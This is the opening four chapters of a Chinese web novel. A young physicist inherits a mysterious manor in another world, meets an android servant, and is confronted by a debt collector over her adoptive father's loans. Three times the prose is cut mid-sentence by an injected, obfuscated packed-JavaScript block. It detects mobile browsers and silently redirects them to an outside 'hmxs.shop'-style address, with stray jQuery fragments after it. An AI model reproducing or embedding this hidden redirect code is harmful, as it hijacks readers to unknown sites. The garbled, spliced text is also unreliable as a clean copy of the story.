《在异界搞钱》
1. 第 1 章
短信提示音响起的时候,祝梧心争坐在摇摇晃晃的公交车上,盯着窗外千篇一律的城市风景发呆。
她划开屏幕。
【…您尾号0853账户于10月22日支出3000元,余额127.35。】
是房租。
H市房租越来越高,即便是郊外,也高达一个月三千,更不用说市内。
说来祝梧心也是有个有钱的父亲,却贫困潦倒到交完房租直接捉襟见肘。
银行卡的余额刺眼,但车窗玻璃映出祝梧心没什么表情的脸,她的肤色是长期待在室内的苍白,眼底有淡淡的青黑,是熬夜做实验做的。她移开视线,低头从随身带着边角有些磨损的双肩包里,拿出一份文件。
纸的触感冰凉。
《遗产继承告知书》。
寄件人落款是一个她没听过的律师事务所,收件人明确写着她的名字。
祝梧心。
遗产来源:林守恒教授。
她的指尖在教授那个称谓上停顿了一瞬,随即没什么温度地勾了勾嘴角,也是养父,但她觉得倒也算不上,他更像个,提供了早期住处和学费,熟悉一点的陌生人。
毕竟,上次见面是什么时候?
好像是三年前的过年,一起在一家餐厅吃了顿饭,谁都没有说话,吃完各自离开。
直到半个月前,医院通知先到。
电话那头的声音公式化地告知她林守恒死了,病死的,以及希望她这位“唯一在世的亲属”去处理身后事。
她去了。
她站在角落,看着那张经过精心修饰依旧难掩刻薄寡恩的遗容,心里意外的平静。
最后的葬礼简单,林守恒生前要求的,参加葬礼的人除了她,只有几个林守恒生前有过一些交集的人,气氛疏离而客套。毕竟所有人都知道,这位天才科学家性情孤僻,与唯一的养女关系也极为淡薄,连姓氏都不愿给养女改。
但谁也都没想到,他会留下遗产,并且指定给她。
律师将这份文件交给她时,她也一样困惑。她甚至出现一种,这人死前醒悟,觉得她可怜没有地方住,所以给了她一处房产的感觉。
直到律师报出一个奇怪的地名,奇怪到根本不像现实世界存在的地址。
“林教授指定由您继承他名下的一处房产。”律师推了推眼睛,“地址在雾隐镇,薄暮之路17号。”
她瞬间笑了,她就说,这人怎么可能有这种好心。大概又想戏耍她,然后激怒她,毕竟他最喜欢的,就是看她失控发疯,看她像个小丑。很可惜,她并不会,即便会,他也看不到了不是么。
除了这处房产,还有一个盒子,和文件放在一起。
律师说:“这是在教授遗产中发现的,并没有说怎么处理,只能一并给您带来。”
她打开盒子,里面是一条手链,银色的链子,坠着一颗不大但色泽莹润的深蓝色水晶,里面流动的光泽像海面,触手也像海水一样的凉。她顺手就戴在了手腕上,本来以为自己会瞬间过敏,或是其他,毕竟这种是事情发生过太多次了,结果什么都没发生。
大约等了一会,的确没什么反应,她皱了皱眉,还问律师还有吗?
律师说没了。
她耸耸肩,拿着遗嘱离开了。
公交站台停靠,涌上来几个喧哗的中学生,车厢里瞬间躁动起来。祝梧心微微蹙眉,将文件塞回背包,把耳机塞进耳朵,隔绝了大部分噪音。她点开手机里储存的几篇前沿物理论文,试图集中精神,但那些熟悉的公式和理论今天却显得有些飘忽。
林守恒身体向来健康,所以他的突然病死对她来说的确有些意料之外,但也并未在她心里激起太多涟漪。
毕竟他们之间,缺乏构成悲伤的必要情感联系。
她低头,手指无意识摩挲着手腕上的水晶。非打即骂的童年,冷漠与忽视,心理上的打压和折磨更是家常便饭,这就是她对林守恒的全部记忆。所以这突如其来的财产,比他的死亡更让她觉得怪异。
公交车再次启动。
车窗外天色不知道什么时候暗了,云层低低压下来,好像预示着即将有一场雨要来。
手机又震动了一下。
一条新的短信。
【未知号码:祝女士,关于林守恒教授生前债务问题,请务必于三个工作日内于我处理联系,逾期将产生不利法律后果。】
债务?
祝梧心盯着那行字,第一反应是诈骗。
她扯了扯嘴角,那个拿实验经费拿到手软的人,怎么可能会欠债。直接划掉了通知。连带着那个跟玩笑一样的遗嘱一块抛到脑后。
她现在更需要思考的是,怎么用银行卡里仅剩的一百多块钱,度过接下来的十几天。
耳机里的论文音频还在继续,讲述着关于某种理论的新猜想。
雨点开始砸落,劈里啪啦地打在车窗上,迅速连成一片水幕,视野变得模糊朦胧扭曲。
就在这时,公交车猛地、毫无预兆的一震。
……
不是颠簸,而是一种巨大的来自侧方的撞击。
……
尖叫声瞬间撕裂了车厢内的空气,混杂着金属摩擦地面的刺耳声音,祝梧心的身体被一股无法抗拒的力量狠狠抛起,重重落下,额头不知道撞在什么地方,眼前瞬间一黑,剧痛猛地炸开。
……
混乱中,求生的本能让她抓住什么固定身体,但一切都是徒劳。
祝梧心能感觉温热的血从额角滑落,流进眼睛里,视野一片血红。
……
失控的翻滚,玻璃碎裂的爆鸣声,物品四处飞溅。
死亡的阴影冰冷地扼住了她。
就在意识即将彻底沉入黑暗前的一瞬,她带着手链的左手手腕处,忽然传来一阵温热。
那枚一直冰凉的深蓝色水晶,此刻竟然像活过来了一样,温热过后,内部突然迸发出蓝到近乎发黑的光芒,瞬间将她整个人包裹。
祝梧心:“……”是什么?
她不知道。
但她能感觉到自己不受控地在下坠。
……
……
……
下坠。
无边无际的失重感。
周围不再是破碎的车厢和雨水。
而是光怪陆离、无法用言语形容的色彩湍流,好像跌入了一个万花筒的隧道。
……
……
不知过了多久。
砰!
撞击感从后背传来,不大,也不疼,却足以让她彻底脱离了那种诡异的失重感。
一切戛然而止。
祝梧心躺在地面上,剧烈的喘息着,肺里火辣辣地疼。额角的伤口还在渗血,糊住了整个右眼,全身的骨头像是散架后又勉强拼凑起来,没有一处不疼。
但值得庆幸的是,这疼痛也在告诉她,她还活着。
约莫一会,她艰难地一点点地撑起身体,用袖子擦去右眼的血迹,视野逐渐清晰。
然后,她僵住了。
公交车,街道,高楼,雨水,所有她熟悉的景象,全部消失了。
祝梧心:“?”
她正身处一片树林里,周围环绕参天大树,树的枝桠扭曲盘结,直接遮蔽了大部分光线,空气中弥漫着浓重的腐烂树叶和湿润泥土的混合气息,带着一股腥甜。
而她的正前方,树林的出口处,矗立着一扇巨大的黑色大铁门。
门是开着的,好像早已等待多时。
透过铁门,可以看到门口蜿蜒的小径,小径尽头隐约可见远处一片影影绰绰的建筑,那建筑风格奇特,像是欧式风格与东方风格杂糅,沉默地屹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668877|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
立在昏暗的天光下,像头匍匐的巨兽。
祝梧心心跳突然跳的巨快。
她目光落在门侧一块半掩在疯涨藤曼中的陈旧木牌上。
隐约能看见,什么17号。
17号,想到背包那份遗嘱上的薄暮路17号。
不会那么巧吧,难道林守恒这次真没骗人?
祝梧心深吸了一口气,带着丝丝腥甜的空气瞬间灌入胸腔,激起她一阵冷战,却也让她冷静了不少。
她是一个科学家,即使面对最荒谬的情况,逻辑分析也是本能。
检查了一下自身状况。
确认额角伤口没再继续流血,又确认除了撞击的钝痛和一些肌肉拉伤,似乎没有骨折等严重问题后,她松了口气。
随后她站起来,拍了拍沾满腐叶和泥土的裤子,动作因为疼痛有些迟缓,但眼神已经恢复了惯常的冷静。
那么,首要任务是确定自己的位置,以及眼前这个17号,是否就是遗嘱上所指的薄暮路17号。
她缓步走向那扇敞开的大铁门,脚踩在厚厚的落叶上,发出沙沙的轻响。
终于,走到了地方。这次牌子的全貌终于出现在她眼前,虽然被遮挡,但她看到,牌子上的确写着薄暮路17号。
谨慎走进门内。
门内庭院和她想象的任何一种风格都不同,植物肆意生长着,形态诡异,有些枝干扭曲着如同痛苦挣扎的手臂,有些叶片还呈现出一种不自然的腐败的黄。
看得祝梧心背后有些发毛。
她硬着头皮继续往前走。
没多久,那座建筑的全貌逐渐清晰起来。
它确实融合了多种风格,有哥特式的尖顶,七彩玻璃窗,也有东方飞檐的轮廓,墙体是深灰色的,上面爬满了厚厚的颜色暗沉但明显已经死了的藤蔓,整体透着一股年深日久的沉闷和疏于打理的荒凉。
这就是林守恒留给她的遗产么?一栋位于未知地理位置的古怪阴森的庄园?
她走到大门口那扇雕着复杂图案的木门前面。
门没有锁,她抬手,轻轻一推,门开了。
门内是一个宽敞的过分的门厅,挑高惊人,但光线昏暗,只有几缕惨淡的天光从高高的积满灰尘的彩色玻璃窗透进来,在地板上投下模糊扭曲的光斑。
家具都被蒙上了白色的防尘布。
祝梧心站在门口,没有立刻进去。
她目光审视地扫过整个空间,确定自己进去会不会有什么东西突然扑出来把她一口吞了。
但,四周很安静,安静的她能清楚地听到自己的心跳。
同时,她感觉额角伤口忽然隐隐作痛,还伴着逐渐增强的嗡鸣声在他耳边。
磕到脑袋的后遗症?还是……
她不舒服地皱了皱眉,尝试忽略这种不适,迈步走了进去。鞋底踩在老旧地板上,发出空空荡荡的回响。
就在她完全踏入厅内的瞬间。
门厅侧面,一扇门打开了。
一个身影从里面走了出来。
祝梧心看着走出来的人。
那是一个少女。
穿着样式简单干净的白色连衣裙,裙摆及膝,露出一截白皙纤细的小腿。容貌精致的过分,皮肤白皙的近乎透明,五官比例完美得像是经过最严苛得计算造就,一头乌黑的长发散在肩头。最引人注目的是她的眼睛,很大,瞳孔是纯粹的蓝色,毫无杂质,也看不出任何情绪。
她走到祝梧心面前,大约三步远的距离停下,微微偏了偏头,动作带着一种非人的机械感。
然后,她开口了,声音甜美,语调却平直的没有任何起伏,像是机器人装载了最先进的语音包。
“检测到生命体征与预设权限吻合。身份确认:庄园新任所有者,祝梧心小姐。序列编号S-01,代号小1,听候您的指令。”
2. 第 2 章
祝梧心看着她,脸上没什么表情,心里却迅速分析。
仿生人么?外观的确高度拟真,但行为模式和语言表达还是透露出她非人的本质。
至于,预设权限?是指那份继承文件,还是她手腕上这条水晶手链?
“林守恒制造了你?”祝梧心问,声音因为受伤有些沙哑,但语气很平静。这种超高精度的仿生人,除了林守恒制造,也没别的可能。
“是的,我的创造者,林守恒教授。”小1淡蓝色的眼睛一眨不眨地看着她,“我的核心指令是:保护庄园及其庄园所有者的安全,服从庄园所有者的一切命令。”
“一切命令?”
“一切命令。”小1重复,语气没有丝毫变化,“请下达您的第一个指令,所有者小姐。”
祝梧心沉默了几秒。
保护安全,服从命令,听起来有点不错,虽然她对林守恒做出小1的动机深表怀疑。
她对任何事情的接受度都很快,意识到自己目前的确是这座庄园的主人,她开口。
“我需要了解这栋建筑,功能区域的划分,以及……”她顿了顿,补充道,“是否存在潜在威胁。”
“指令收到。”小1立刻回应,“庄园主体建筑共四层,地上三层,地下一层。包含生活区、试验区、藏书区、仓储区、以及未定义功能区域。当前扫描显示,建筑内部无即时生命威胁,防护矩阵运行正常,效率百分之九十九点五。”
防护矩阵,祝梧心捕捉到这个词。
是某种防御系统么?她下意识看了看周围,看来这栋房子比她看到的要复杂。
沉默一会。
“带我去看看生活区,找一间能住的房间。”祝梧心说。
她需要处理一下伤口,身体疲惫和疼痛在不断提醒她马上要坚持不住了,她需要休息,然后才能思考下一步。
“是。”小1转身,动作轻盈,“请随我来,所有者小姐。”
跟着小1,祝梧心穿过空旷的门厅,走向一侧的走廊。
走廊两侧挂着一些油画,但内容大多阴暗晦涩,描绘着扭曲的星空,无法名状的阴影或是形态怪异的生物。
祝梧心只是扫了几眼,便不再关注。
通过走廊,两人走向二楼,小1推开一扇位于二楼的房门。
“这里是主卧套间,每二十四小时进行基础通风与清洁,符合居住标准。”
房间很大,很奢华,床上铺着全新的床褥,有独立的卫浴。
祝梧心很满意,单单一间房都比她的出租屋要大不少。
但对祝梧心来说比奢华更重要的是,这里看起来相对正常,没有外面那么多诡异的装饰。
祝梧心走到床边坐下,那一瞬间,感觉浑身的骨头都在抗议。
“有医疗箱吗?”她问。
“有的,请稍等。”小1转身走出房间,不到一分钟就回来了,手里提着一个白色的金属箱子,箱子表面有个明显的蛇的标志,但是蛇的形态扭曲狰狞。
小1将医疗箱放在祝梧心手边,然后安静地站在一旁,淡蓝色的眼睛静静注视着她,像是在等待她下一个指令。
祝梧心无视药箱上令人不适的图案,打开医疗箱,里面的物品齐全,甚至有一些她没见过的包装上印着奇异符号的药剂。
她挑出来自己认识的,碘伏、棉签和纱布,动作熟练地处理自己额角的伤口。刺痛传来,她连眉角都没皱一下。
小时候林守恒打她,无论多严重,她都不敢让任何人知道,每次都是自己处理伤口,这点疼不算什么,也早就习惯了。处理完伤口,她抬起头,看向依旧静默站在那里的小1。
“你不用一直站着。”祝梧心说,“你可以做你自己的事情。”
小1偏了偏头,似乎在她的逻辑运算里,没有自己的事情这一说。
她回答:“我存在的意义即是等待并执行您的指令,并无独立事务需要处理。”
祝梧心看着她那双纯粹到近乎有些空洞的蓝色瞳孔,一时无言。
绝对的服从,没有自我,是林守恒最需要的,也是自收养她后,一直给她灌输的,无论是林守恒对她身体的虐待和心理上的打压,都是为了达成这个目的。所以虽然面前这个女孩是仿生人,但她顶着真人的样貌,说出这样的话……
“我累了,需要休息。”祝梧心深吸一口气最终说道,“你可以出去了,至于做什么,你自己决定,只要不打扰我。”
小1微微躬身:“指令确认,确保您休息期间不受打扰,我将位于门外值守,如有任何需要,请呼唤我。”
她说完,转身离开,轻轻带上了房门。
房间里只剩下祝梧心一个人。
她躺倒在床上,身体的疲惫如潮水一般用来,但大脑却异常清醒。
林守恒的死,车祸,未知的环境,遗产庄园,庄园中的仿生人,还有,这条手链。
她微微抬手,借着灯光看着微微反光的手链,深蓝色的水晶随着她的动作一晃一晃。
这手链,到底是什么?
思绪像一团乱麻,缠绕着车祸瞬间的惊恐、濒死时的绝望,以及救了她一命的手链。科学无法解释这一切,至少她所熟知的物理学不能。
额角的伤口还在隐隐作痛,伴随着从刚才就一直没停下来过的嗡鸣声,不是来自外界,更像是她颅内的声音。
她闭上眼,试图屏蔽这个声音,专注呼吸,强迫自己休息。
最终,身体的极度疲惫还是压倒了紧绷的神经,很快,她陷入睡眠,只是不太安稳。
……
不知道过了多久。
祝梧心被细微的脚步声惊醒。
不是门外,那声音太近了。
仿佛就在房间内。
她猛地睁开眼,心脏瞬间紧缩。
可房间空无一人,只有窗帘底部渗入的一丝昏暗天光。
“做噩梦了吗?”她低声道,坐起身,耳边的嗡鸣竟然更清晰了些,其间还夹杂着另一种声音……像是什么东西摩擦的窸窣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668878|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,来自地板之下,或者墙壁内部。
她旋即呼喊道:“小1。”声音因为刚醒还有些沙哑。
房门几乎在她话音落下的瞬间就被推开,小1安静地站在门口,淡蓝色的眼眸静静注视着她。
“所有者小姐,请问有什么需要?”
祝梧心看着她:“这栋房子,除了你,还有别的……东西吗?”
小1偏了偏头,似乎在扫描或者分析:“当前扫描显示,建筑内无其他生命体征,防护矩阵运行正常。”
依旧是这个答案,祝梧心皱眉。
可她没有再追问,小1身为高精度仿生人,两次给出了相同答案,说明她从小1这里恐怕得不到自己异常的解释。
“我饿了。”她换了个实际的问题。从车祸到现在,她滴水未进,胃里空的发慌。
“指令收到,请移步至一层餐厅,我将为您准备食物。”小1侧身让开道路。
祝梧心跟着她下楼。
巨大的餐厅,摆着一张长长的木制餐桌,目测足以坐下十几个人。
此刻却只映衬着她的影单影只。
小1进入厨房,里面传来一些机器运作的轻微声响。
等待食物的时候,祝梧心走到餐厅落地窗前。
窗外是那边她来时穿过的树林,更远处是朦朦胧胧好像一直是阴雨天气的天空。
几分钟后,小1端着一个托盘回来,上面放着一杯清澈的水,和一小碗糊状物。糊状物呈现出一种令人毫无食欲的灰绿色,也没有任何气味散发出来。
“这是根据您的生理指标调配的营养合剂,可提供基础代谢所需要的能量。”小1将托盘放在她面前。
祝梧心看着那碗东西,沉默了两秒。她端起来喝了一口,口感滑腻,味道……完全没有任何味道,像在吞咽消毒过的大鼻涕。
她面不改色地吃完,将空碗放下。好不好吃暂且不论,至少胃里有了点东西,不再那么空虚的发疼。
“庄园的水电来源是什么?食物储备还有多少?”吃饱了,她开始询问更实际的问题,看这个样子,她未来很长一段时间或许要生活在这里了。
小1的回答清晰而全面,像一本不会出错的百科全书:“庄园水源来自地下深处,经过多重净化循环系统,水质纯净度达到了99.98%。”
“能源核心位于地下一层,是一台小型地脉能量转化装置,理论上可维持庄园基础运作超过三百年。”
“食物储备以高能营养合剂为主,现有库存可按照标准供给单人使用约五十年,但……新鲜食材储备为零,可食用植物培育模块处于休眠状态。”
祝梧心默默听着,手指无意识在桌面上敲了敲。水源、能源、食物,生存的基本要素都得到了保障,虽然这食物的味道实在令人难以恭维,但胜在实用。这很林守恒。
“嗯。”她抬起眼,目光穿过餐厅巨大的落地窗,看向窗外那片森林和始终不见阳光的天幕,“那么这里,到底是什么地方,这个,‘世界’。”
3. 第 3 章
小1淡蓝色眼眸中似乎有微光流转,像是数据流。
片刻后。
“根据现有数据库记载,我们目前所处之地被本地智慧生命称为虚界,它并非单一星球概念,而是有多个破碎大陆构成的界域。”
她抬起手,指尖在空中虚点两下,一道微缩的立体光影地图便投射在餐桌上方。
祝梧心看着地图。
地图呈现出支离破碎的状态,几块大陆像被强行撕扯开的碎片,漂浮在灰蒙蒙的背景中,彼此之间由光带隔开。
“破碎大陆……”她低声重复,这超出了她对地理的所有认知,“那它们是怎么稳定的?”
小1指尖轻点,地图放大,显示出大陆边缘一些正在闪烁看起来像是符文的东西。
“数据库记载,大陆碎片被一种名为‘界碑’的古老结构维持着。”
“界碑?”
小1点头:“具体原理未知,界碑被列为高等加密信息,我无法探知。”
“继续,智慧生命的形式,社会结构是什么?”祝梧心问题简洁直接,就像在实验室里询问参数一样。
“已记录的智慧族群超过十六种,”小1声音平稳,“包括但不限于,居于地穴与山峦擅长锻造的矮人,形态不定,常常依附于阴影中存在的影裔,以及寿命漫长,与元素亲和、通常居于森林或秘境中的精灵,此外,还有大量未能完全归类或形态诡异的生命体存在。”
地图上随之浮现出各种族的大致分布区域,大多集中在几块较大的碎片大陆上。
“当前我们所处的区域,名为‘永寂平原’,是种族最为密集的区域。”小1指向其中一块颜色偏暗的区域,“庄园位于平原边缘,毗邻‘呓语森林’,就是您来时穿过的那片树林。更远处是‘叹息山脉’,山脉另一侧是迷雾海,是一片危险的水域。”
祝梧心扫过这些地名:永寂平原,呓语森林,叹息山脉,迷雾海。这些名字像极了游戏中才会用的地名。
“人类呢?”她又问。到目前为止,她没听到小1提到过人类这个族群。
“数据库无明确‘人类’种族记录。”小1回答,“现有记录中,形态与您最为接近的为精灵族,但他们在生理结构及寿命方面与您存在显著差异。”
所以,在这里,她才可能是那个异类。祝梧心面不改色,心里却沉了沉,生存风险好像有点高。
“威胁评估,最高级别,所有。”她得知道最坏的情况。
小1眼中数据流再次闪烁:“根据记录,需最高级别警惕的存在包括,位于迷雾海深处未知的圣灵,叹息山脉中偶尔苏醒的火焰巨人,以及……”她顿了顿,地图上浮现出一个燃烧的带着双翼的图腾。
“龙族。”
祝梧心指尖无意识蜷缩了一下。
“龙族。”小1继续道,“他们古老,强大,但数量及其稀少,通常远离其他种族,居于龙岛火人迹罕至的险峻之地。部分龙族个体因其掠过天性及对财宝的执着,可能具有较高攻击性。记录现实,上次有龙族在永寂平远附近活动,是三十二年前。”
龙,神话传说中的生物,在这里是真实存在的,并且被标记为高危。祝梧心将小1刚才说的一切记在心里。
就在她准备询问更多关于这个世界能量体系,比如庄园中的防护矩阵,之类的问题是,她放在桌面上的手机,屏幕忽然亮了起来。
又是一条短信。
【未知号码:祝女士,关于林守恒教授生前债务问题,因您昨日未主动与我司取得联系,我方将收回三日宽限期,并将于近期派专员上门与您沟通,请您保持通讯畅通。】
祝梧心憋了一眼,脸上一点波澜都没有。
上门沟通?她看看依旧悬浮在餐桌上的地图。你最好是能来。然后手指在屏幕上快速操作,直接将这个号码拖进了黑名单。
随后将手机揣进口袋,转向小一,继续问:“小1,庄园现有的防御系统,具体指什么?如何运作?”这世界威胁有点多,她得确定一下庄园防御系统能不能扛得住。
“防护矩阵以地脉能量为核心,覆盖庄园主体建筑及周边五十米范围。”小1解释道,“它具备物理屏障,能量干扰及认知混淆功能。简单来说就是,未经许可的生命体靠近时会下意识忽略或绕行庄园。强度可调节,当前为标准运行模式。”
认知混淆?祝梧心想起自己来时,很轻易就看到了庄园并走了进来。
“对我无效?”
“您作为所有者,拥有最高权限,不受矩阵影响。”
祝梧心若有所思,看起来更像是林守恒为自己准备的,她不认为林守恒有这么好心,给她留下房子,还贴心给她准备一个防护矩阵来保护她。
“这个呢?”祝梧心抬起手,将手腕上的水晶给小1看,“它是什么?”
小1目光落在水晶上,扫描的微光在她眼中闪过:“资料库关联信息,该物品为紧急传送触发器,与庄园核心绑定,其材质……”小1顿了一下,“无法完全解析。”
好吧。祝梧心放下手腕,没再追问。林守恒的东西,藏着秘密是常态。她正想再问些什么,一阵突兀的敲门声打断了她的思绪。
祝梧心和小1同时看向声音来源方向。
敲门的人,进了庄园。物理屏障,能量干扰及认知混淆功能,对这个人,失效了。
“扫描显示,门口存在一个高能量生命体。”小1眼中数据流快速闪过,“特征与数据库记载的影裔吻合,防护矩阵未触发警报,被许可进入庄园。”
被许可?祝梧心皱眉。
敲门声还在继续。
“去看看。”祝梧心起身。
小1点头,跟在她身后。
门打开。
门外站着一个“人”。
身形高瘦,穿着黑长风衣,里面穿着整洁的西装,手上带着一双白手套。面容普通,是那种看一眼就会忘记的长相,但一双眼睛却漆黑,几乎看不到眼白,像是两口深井。左手拿着一个黑色的公文包,右手握着一把黑伞。整个人身上都散发着一种一丝不苟的气息。
“日安。”来人开口,“请问是祝梧心女士吗?”
祝梧心站在门内,与他保持着距离,面无表情地回答:“我是。你哪位?”
黑衣人微微躬身,动作幅度标准的像被尺子量过。
“我是暗流商会下属资产回收部的专员,您可以称呼我执事7号。此次冒昧来访,是为了处理林守恒教授生前所遗留的债务问题。根据记录,我司已于昨日向您发送催款通知,但未收到回应。按照协议,我司有权采取
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668879|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上门催收程序。”他抬起戴着白手套的手,从公文包里取出一份厚厚的文件。
祝梧心:“……”居然真找上门了?所以那短信不是诈骗短信?
“林守恒教授于生前,以其名下此处庄园及内部部分非核心设施作为抵押,向我司借贷了一笔款项,用于……某项私人研究。本金加上累计利息,以及滞纳金,截至此刻,总计为……”他报出一个让祝梧心眼角微跳的天文数字。
“根据《遗产与债务》,作为林守恒教授指定的唯一遗产继承人,您在接受其遗产的同时,也必须承担相应的债务。”
祝梧心看着他,脸上没什么表情,心里却冷笑。她就知道林守恒没这么好心,果然给她留了个“大惊喜”。
“所以呢?”祝梧心语气没什么起伏,“我只是遗产继承人,继承人有权选择放弃继承,从而无需承担被继承人的债务。我现在正式声明,我放弃继承林守恒的一切遗产,包括这栋房子。”这是她能想到的最直接有效的解决办法,这鬼庄园她本来也不想继承。
执事7号似乎早就料到她会这么说,发出一种类似机器卡顿的“咯咯”声,像是在嘲笑她。
“很遗憾,祝小姐。本界的协议,遵循的是‘烙印绑定’原则,而非您原生世界的法律。当您踏入这座庄园,并通过权限验证,想必您手腕上的信物已经完成了这一点,继承关系即视为成立,债务绑定亦同步生效。”
他伞尖轻轻点了点地面。
“放弃继承权,意味着您单方面撕毁协议,根据协议惩罚条款,我司将会立即清算,收回您的所有权并且立刻收回所有抵押物,包括这座庄园,以及,您身边那位……造物。”
“还有,您与薄暮之路17号的一切关联将被强制剥离,您将被即刻驱逐出本界域,返回您原本的世界。”
“不过需要提醒您的是,撕毁协议后,意味着您在此界获得的一切馈赠都不作数,包括但不限于您手腕那条‘深蓝庇护’,根据我的观察,您原本的躯体在之前的车祸中严重损毁,能够维持您目前生命形态存在的,正是这条手链与庄园核心的链接,一旦剥离,后果将是……”
“彻底消散。”
祝梧心眼神彻底冷下来,她低头看向手腕,那深蓝色的水晶依旧静静流转着微光。原来,车祸的真相是这样?她不是幸运地活了下来,而是以另一种更诡异的方式“被存活”?
感知到祝梧心的情绪变化,小1立刻上前半步,挡在祝梧心侧前方,淡蓝色的眼眸锁死执事7号:“威胁所有者安全,启动防御预案。”
“喔——”执事7号转向小1,“S-01型仿生护卫,您的核心指令是保护所有者及庄园。若因所有者违约而成为清算标的,您的保护指令将与我司的回收权限产生逻辑冲突。冲突结果,大概率是您的强制停机与拆解,建议不要进行无谓抵抗。”
小1的瞳孔微微收缩,数据流在其中疯狂闪烁,似乎在计算冲突胜率,但她站在原地,没有后退。
祝梧心轻轻拍了拍小1的肩膀,示意她稍安勿躁。
她看着执事7号,大脑飞速运转。硬碰硬显然不明智,这个“暗流商会”听起来就不是善茬。
“也就是说,我现在有两个选择。”祝梧心总结道,“一,还钱。二,放弃继承,然后死。”
4. 第 4 章
“您的理解完全正确,祝小姐。”执事7号微微颔首。
“我没有那么多钱。”祝梧心陈述事实。她全副身家就一百来块钱,还是人民币。
“理解,考虑到您的实际情况,以及林教授是我会尊贵客户和林教授在此界的威望,我可以为您申请一个‘展期’方案。”执事7号说道,“您有一个期限,约等于您原生世界的三百六十五天,也就是十二个月,您只需要每个月按时还上一笔欠款,直到第十二个月将全部欠款还清。在此期间,庄园的所有权仍归属于您,商会不会进行干扰,但到期若未能全额偿付,惩罚条款将自动执行。”
祝梧心看着执事7号没有眼白的眼睛。
“三百六十五天。”她重复了一遍这个数字。一年。
“是的,祝小姐,这是基于对林教授最后的颜面,以及您特殊情况的最大宽容。”执事7号的伞尖又轻轻点了下地面,发出笃的一声轻响,“请务必珍惜。”
祝梧心没说话,她感觉额角的伤口又开始疼了。
她看了一眼身旁的小1,仿生人少女依旧维持着警戒姿态,蓝色眼眸死死锁定着执事7号,仿佛对方只要有任何异动,她就会立刻扑上去。
保护所有者,这是她的核心指令。
虽然知道这是设定好的程序,但从未体验过被他人护着感觉的祝梧心,多少还是有些动容。
但她面上不显,轻轻吸了口气。
“我接受。”她说。
“明智的选择。”执事7号微微躬身,又从公文包拿出一份协议。
祝梧心微微眯眼,看起来早就准备好了?果然是商人。
注视着祝梧心签完协议,执事7号满意地收回文件。
“协议生效。祝小姐,期待您的好消息。下个月的这个时间,我会再来拜访。”他顿了顿,漆黑的眼睛扫过祝梧心和她身后的小1,“祝您……生活愉快。”
说完,他再次躬身,然后转身,撑着那把黑伞,步态优雅地消失在庭院中。
门厅里恢复了安静,只剩下祝梧心略显急促的呼吸声。
祝梧心站在原地,鬼知道她现在心里有多炸裂。
在她过去二十几年的人生里,贫穷是常态,但至少那份贫穷是清晰、可控的,她知道自己有多少钱,需要应对多少开支,哪怕捉襟见肘,也在她可计算的范畴内。
可现在,面对天文数字一样的债务,还有期限。
还不上,死。
唯一的生路就是在这个陌生的世界里,搞钱。
祝梧心深吸一口气。
林守恒,哪怕人死了,也要用这种方式再恶心她一次是吗?
给她一个栖身之所,同时附上致命的东西。
给她希望,又给她绝望。
林守恒的一贯作风。
在她被收养后与林守恒相处的日子,这种事情经常发生,直到上大学后,脱离了他,才得到一丝喘息。
祝梧心手指微微收紧。
林守恒留下的一切,真是方方面面都让人恶心!
大约一会,见她动也不动。
“所有者小姐?”小1的声音带着一丝她自己都没发现的担忧,她检测到祝梧心的心率和血压正在异常飙升,“您的生命体征显示您正处于极度应激状态,建议立刻休息,或允许我为您注射镇静剂。”
祝梧心缓缓吐出一口浊气,强行压下胸腔里翻涌着的想要把林守恒的坟刨了,把他尸体拉出来打爆他脑袋的冲动情绪。
她转过头,看向小1那双纯粹却空洞的蓝色眼睛。这个仿生人少女,大概是林守恒留给她的唯一一件,没有充满恶意的东西。
“我没事。”她的声音有些沙哑,但语气已经恢复了惯常的平静,至少表面上是这样,“不需要镇静剂。”
她不是容易情绪失控的人,多年与林守恒的“相处”早已将她磨砺得近乎冷漠。但此刻,她实在是没办法控制,因为这件事这不是靠节省生活费或者多接几个实验项目能解决的困境,这是绝境。
“小1。”她开口。
“我在。”
“分析一下我把这笔钱还上的概率。”她也不知道自己为什么要问这个,但她感觉自己要不说点什么,马上就要爆炸。
小1沉默了一下。
“根据现有数据库分析,在约定期限内筹集目标款项的成功概率低于0.001%。”
祝梧心:“……”无敌了。
“建议启动应急预案。”小1又补充。
“应急预案是什么?”祝梧心问,声音有些沙哑。
“预案一:尝试破解并夺取暗流商会的核心钱库,成功率预估0.5%,风险等级:毁灭性。”
